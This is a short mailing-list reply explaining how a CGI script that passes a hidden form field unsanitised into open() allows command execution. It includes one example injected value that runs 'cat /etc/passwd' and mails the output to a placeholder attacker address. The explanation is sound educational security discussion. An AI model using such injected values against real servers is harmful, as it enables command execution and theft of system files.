Re: htaccess with apache

[Tim Tompkins <timt () spiderlinks org>]

A.D.Douma wrote:

> Hello,
>
> I had a similair problem with a cgi script that used a <input type='hidden'
> name='success' value=succes.'html'> to point the clients browser to the
> "transaction complete page".
>
> Because of this an attacker could read every file on the webserver. Luckily
> the /etc/passwd file was shadowed. My question is what else could an
> attacker do? Would command execution be possible?
>
> Thanks
>  
It depends on how the open() is called.  If the form value is used 
literally in an open(), you could construct a value such as,
   <input type="hidden" name="success" value="`cat /etc/passwd|mail 
attacker () somewhere com`|">
and have the password file mailed to you.  Granted, this is a 
round-about way of reading the passwd file given that a non-santized 
value is anticipated to be passed in the attack, but other commands 
could be constructed in the same manner and executed under the 
privileges of the web server.

--
Tim Tompkins